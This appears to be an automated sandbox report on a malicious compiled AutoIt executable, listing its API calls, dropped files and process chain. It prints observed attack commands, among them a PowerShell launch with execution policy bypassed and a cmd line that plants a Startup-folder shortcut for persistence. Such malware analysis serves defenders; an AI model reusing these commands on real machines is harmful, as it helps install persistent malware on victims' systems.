
HTTPS traffic detected: 83.140.241.4:443 -> 192.168.2.4:49730 version: TLS 1.2

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF7978C0D24 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00007FF7978C0D24

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978C0D24 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	0_2_00007FF7978C0D24
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004D4830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	3_2_004D4830
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F94830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	8_2_00F94830

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF7978C0A6C OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_00007FF7978C0A6C

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF7978A7E64 GetKeyboardState,SetKeyboardState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

0_2_00007FF7978A7E64

Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004ED164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		3_2_004ED164
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00FAD164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		8_2_00FAD164

System Summary

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\Desktop\file.exe	Code function: This is a third-party compiled AutoIt script.	0_2_00007FF7978337B0
Source: file.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: file.exe, 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_94912b12-4
Source: file.exe, 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer@*	memstr_a8c22b00-1

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF7978AC110: CreateFileW,DeviceIoControl,CloseHandle,

0_2_00007FF7978AC110

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF79789D2C4 GetCurrentProcess,OpenProcessToken,CreateEnvironmentBlock,CloseHandle,CreateProcessWithLogonW,DestroyEnvironmentBlock,

0_2_00007FF79789D2C4

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978AD750 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	0_2_00007FF7978AD750
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004C5778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	3_2_004C5778
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F85778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	8_2_00F85778

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978CF630	0_2_00007FF7978CF630
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF797842E30	0_2_00007FF797842E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978458D0	0_2_00007FF7978458D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF79785F8D0	0_2_00007FF79785F8D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF79783183C	0_2_00007FF79783183C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF797871840	0_2_00007FF797871840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978AD87C	0_2_00007FF7978AD87C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978E17C0	0_2_00007FF7978E17C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF797861750	0_2_00007FF797861750
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978C56A0	0_2_00007FF7978C56A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978695B0	0_2_00007FF7978695B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF79783B390	0_2_00007FF79783B390
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978C32AC	0_2_00007FF7978C32AC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF79787529C	0_2_00007FF79787529C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978C206C	0_2_00007FF7978C206C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF797835F3C	0_2_00007FF797835F3C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF79785BEB4	0_2_00007FF79785BEB4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF79783BE70	0_2_00007FF79783BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF797843C20	0_2_00007FF797843C20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978DDB18	0_2_00007FF7978DDB18
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978B1A18	0_2_00007FF7978B1A18
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF79784FA4F	0_2_00007FF79784FA4F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF79783B9F0	0_2_00007FF79783B9F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978DBA0C	0_2_00007FF7978DBA0C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF79786793C	0_2_00007FF79786793C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF79786A8A0	0_2_00007FF79786A8A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978767F0	0_2_00007FF7978767F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978DC6D4	0_2_00007FF7978DC6D4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978DA59C	0_2_00007FF7978DA59C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978D055C	0_2_00007FF7978D055C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978684C0	0_2_00007FF7978684C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF797854514	0_2_00007FF797854514
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978B83D4	0_2_00007FF7978B83D4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF79785C3FC	0_2_00007FF79785C3FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF797872400	0_2_00007FF797872400
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978C6320	0_2_00007FF7978C6320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978C8360	0_2_00007FF7978C8360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978502C4	0_2_00007FF7978502C4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF79785C130	0_2_00007FF79785C130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978630DC	0_2_00007FF7978630DC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF797840E70	0_2_00007FF797840E70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978DCE8C	0_2_00007FF7978DCE8C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF797850E90	0_2_00007FF797850E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF797876DE4	0_2_00007FF797876DE4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF797872D20	0_2_00007FF797872D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978C6C34	0_2_00007FF7978C6C34
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978D0AEC	0_2_00007FF7978D0AEC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF797832AE0	0_2_00007FF797832AE0
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0046B020	3_2_0046B020
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004694E0	3_2_004694E0
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00469C80	3_2_00469C80
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004823F5	3_2_004823F5
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004E8400	3_2_004E8400
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00496502	3_2_00496502
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0049265E	3_2_0049265E
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0046E6F0	3_2_0046E6F0
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0048282A	3_2_0048282A
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004989BF	3_2_004989BF
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00496A74	3_2_00496A74
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004E0A3A	3_2_004E0A3A
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00470BE0	3_2_00470BE0
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0048CD51	3_2_0048CD51
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004BEDB2	3_2_004BEDB2
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004C8E44	3_2_004C8E44
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004E0EB7	3_2_004E0EB7
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00496FE6	3_2_00496FE6
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004833B7	3_2_004833B7
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0047D45D	3_2_0047D45D
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0048F409	3_2_0048F409
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00461663	3_2_00461663
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0047F628	3_2_0047F628
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0046F6A0	3_2_0046F6A0
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004816B4	3_2_004816B4
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004878C3	3_2_004878C3
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00481BA8	3_2_00481BA8
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0048DBA5	3_2_0048DBA5
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00499CE5	3_2_00499CE5
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0047DD28	3_2_0047DD28
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00481FC0	3_2_00481FC0
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0048BFD6	3_2_0048BFD6
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F2B020	8_2_00F2B020
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F294E0	8_2_00F294E0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F29C80	8_2_00F29C80
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F423F5	8_2_00F423F5
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00FA8400	8_2_00FA8400
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F56502	8_2_00F56502
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F2E6F0	8_2_00F2E6F0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F5265E	8_2_00F5265E
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F4282A	8_2_00F4282A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F589BF	8_2_00F589BF
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F56A74	8_2_00F56A74
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00FA0A3A	8_2_00FA0A3A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F30BE0	8_2_00F30BE0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F7EDB2	8_2_00F7EDB2
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F4CD51	8_2_00F4CD51
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00FA0EB7	8_2_00FA0EB7
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F88E44	8_2_00F88E44
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F56FE6	8_2_00F56FE6
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F433B7	8_2_00F433B7
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F3D45D	8_2_00F3D45D
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F4F409	8_2_00F4F409
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F416B4	8_2_00F416B4
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F2F6A0	8_2_00F2F6A0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F21663	8_2_00F21663
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F3F628	8_2_00F3F628
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F478C3	8_2_00F478C3
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F4DBA5	8_2_00F4DBA5
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F41BA8	8_2_00F41BA8
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F59CE5	8_2_00F59CE5
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F3DD28	8_2_00F3DD28
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F4BFD6	8_2_00F4BFD6
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F41FC0	8_2_00F41FC0

Source: Joe Sandbox View	Dropped File: C:\Users\Public\InformationCheck.exe 237D1BCA6E056DF5BB16A1216A434634109478F882D3B1D58344C801D184F95D
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif 237D1BCA6E056DF5BB16A1216A434634109478F882D3B1D58344C801D184F95D

Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: String function: 00F40D17 appears 70 times
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: String function: 00F48B30 appears 42 times
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: String function: 00F31A36 appears 34 times
Source: C:\Users\Public\InformationCheck.exe	Code function: String function: 00488B30 appears 42 times
Source: C:\Users\Public\InformationCheck.exe	Code function: String function: 00471A36 appears 34 times
Source: C:\Users\Public\InformationCheck.exe	Code function: String function: 00480D17 appears 70 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00007FF797858D58 appears 76 times

Source: file.exe, 00000000.00000003.1700160371.000002B512254000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAutoIt3.exeB vs file.exe
Source: file.exe, 00000000.00000003.1693624835.000002B51232E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAutoIt3.exeB vs file.exe

Source: classification engine

Classification label: mal100.expl.evad.winEXE@12/10@3/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF7978B3778 GetLastError,FormatMessageW,

0_2_00007FF7978B3778

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF79789D5CC LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	0_2_00007FF79789D5CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF79789CCE0 AdjustTokenPrivileges,CloseHandle,	0_2_00007FF79789CCE0
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004B8DE9 AdjustTokenPrivileges,CloseHandle,	3_2_004B8DE9
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004B9399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	3_2_004B9399
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F78DE9 AdjustTokenPrivileges,CloseHandle,	8_2_00F78DE9
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F79399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	8_2_00F79399

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF7978B58C4 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_00007FF7978B58C4

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF7978ABE00 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_00007FF7978ABE00

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF7978B5F2C CoInitialize,CoCreateInstance,CoUninitialize,

0_2_00007FF7978B5F2C

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF797836580 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_00007FF797836580

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\Public\InformationCheck.exe

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7732:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7460:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eamjnkh2.zwk.ps1

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 31%

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\InformationCheck.exe "C:\Users\Public\InformationCheck.exe" C:\Users\Public\Details.au3
Source: C:\Users\Public\InformationCheck.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\InformationCheck.exe "C:\Users\Public\InformationCheck.exe" C:\Users\Public\Details.au3	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
